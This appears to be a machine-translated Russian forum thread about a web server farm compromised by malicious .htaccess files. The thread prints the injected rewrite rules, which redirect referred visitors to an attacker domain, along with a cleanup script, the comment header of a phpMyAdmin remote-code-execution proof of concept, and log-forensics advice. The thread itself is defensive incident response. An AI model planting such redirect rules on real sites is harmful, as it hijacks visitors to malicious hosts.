Назад | Перейти на главную страницу

Обнаружение уязвимости веб-сервера

У нас есть ферма веб-серверов, на которой размещено около 300 веб-сайтов.

Вчера утром скрипт разместил файлы .htaccess, принадлежащие www-data (пользователю apache). в каждом каталоге под document_root большинства (но не всех) сайтов.

Содержимое файла .htaccess было следующим:

RewriteEngine On
RewriteCond %{HTTP_REFERER} ^http://
RewriteCond %{HTTP_REFERER} !%{HTTP_HOST}
RewriteRule . http://84f6a4eef61784b33e4acbd32c8fdd72.com/%{REMOTE_ADDR}

Погуглил для этого URL (который является хешем md5 "антивируса") я обнаружил, что то же самое произошло во всем Интернете, и ищу кого-то, кто уже имел дело с этим, и определил где уязвимость.

Я просмотрел большинство наших журналов, но пока не нашел ничего убедительного. Есть ли другие, которые испытали то же самое, но продвинулись дальше, чем я, в определении ямы?

На данный момент мы определили:

Будем признательны за любые подсказки.

== Редактировать ==

Для тех, кому это нужно, вот сценарий, который я использовал для очистки файлов .htaccess:

#!/bin/bash
PATT=84f6a4eef61784b33e4acbd32c8fdd72.com
DIR=/mnt
TMP=/tmp/`mktemp "XXXXXX"`
find $DIR -name .htaccess|while read FILE; do
  if ( grep $PATT "$FILE" > /dev/null); then
    if [ `cat "$FILE"|wc -l` -eq 4 ]; then
      rm "$FILE"
    else
      if ( tail -n1 "$FILE"|grep $PATT > /dev/null ); then
        rm $TMP
        cp "$FILE" $TMP
        LINES=`cat $TMP|wc -l`
        GOODLINES=$(($LINES-4))
        head -n $GOODLINES $TMP > "$FILE"
      else
        echo $FILE requires manual intervention
      fi
    fi
  fi
done

Есть эксплуатировать из phpMyAdmin

#! / bin / bash

# CVE-2009-1151: phpMyAdmin '/scripts/setup.php' Внедрение кода PHP RCE PoC v0.11
# от pagvac (gnucitizen.org), 4 июня 2009 г.
# особая благодарность Грегу Осе (labs.neohapsis.com) за открытие такой крутой уязвимости,
# и str0ke (milw0rm.com) за тестирование этого сценария PoC и предоставление отзывов!

# PoC-скрипт успешно протестирован на следующих целях:
# phpMyAdmin 2.11.4, 2.11.9.3, 2.11.9.4, 3.0.0 и 3.0.1.1
# Linux 2.6.24-24-generic i686 GNU / Linux (Ubuntu 8.04.2)

# требования к атаке:
# 1) уязвимая версия (очевидно!): 2.11.x до 2.11.9.5
# и 3.x до 3.1.3.1 согласно PMASA-2009-3
# 2) это кажется эта уязвимость может быть использована только против окружающей среды
# где администратор выбрал установку phpMyAdmin, следуя
# the волшебник метод, а не ручной метод: http://snipurl.com/jhjxx
# 3) администратор НЕ должен удалять каталог '/ config /'
# в каталоге '/ phpMyAdmin /'. это потому, что этот каталог
# где '/scripts/setup.php' пытается создать 'config.inc.php', где
# внедряется наш злой PHP-код 8)

# подробнее о:
# http://www.phpmyadmin.net/home_page/security/PMASA-2009-3.php
# http://labs.neohapsis.com/2009/04/06/about-cve-2009-1151/

Поскольку атака, похоже, произошла через apache, я бы сделал следующие две вещи:

  1. Просмотрите все журналы доступа в поисках '.htaccess', то есть чего-то вроде
    grep -rn '\.htaccess' /var/log/httpd/*access*
  2. Найдите в домашнем каталоге apache / httpd / любых пользователей файл истории, часто это «/ var / www» или что-то подобное.

Сначала это покажет, был ли скомпрометирован сам веб-пользователь или злоумышленник использовал произвольное выполнение команды. Он также может дать (потенциальный) полный отчет о том, что сделал злоумышленник. Как бы глупо это ни звучало, большинство подобных хаков редко убирают за собой и оставляют такие доказательства.

И, конечно, если у вас есть группа в вашей организации, которая занимается реагированием на инциденты безопасности или судебно-медицинской экспертизой, возможно, стоит передать им оборудование, прежде чем вы начнете собственный анализ.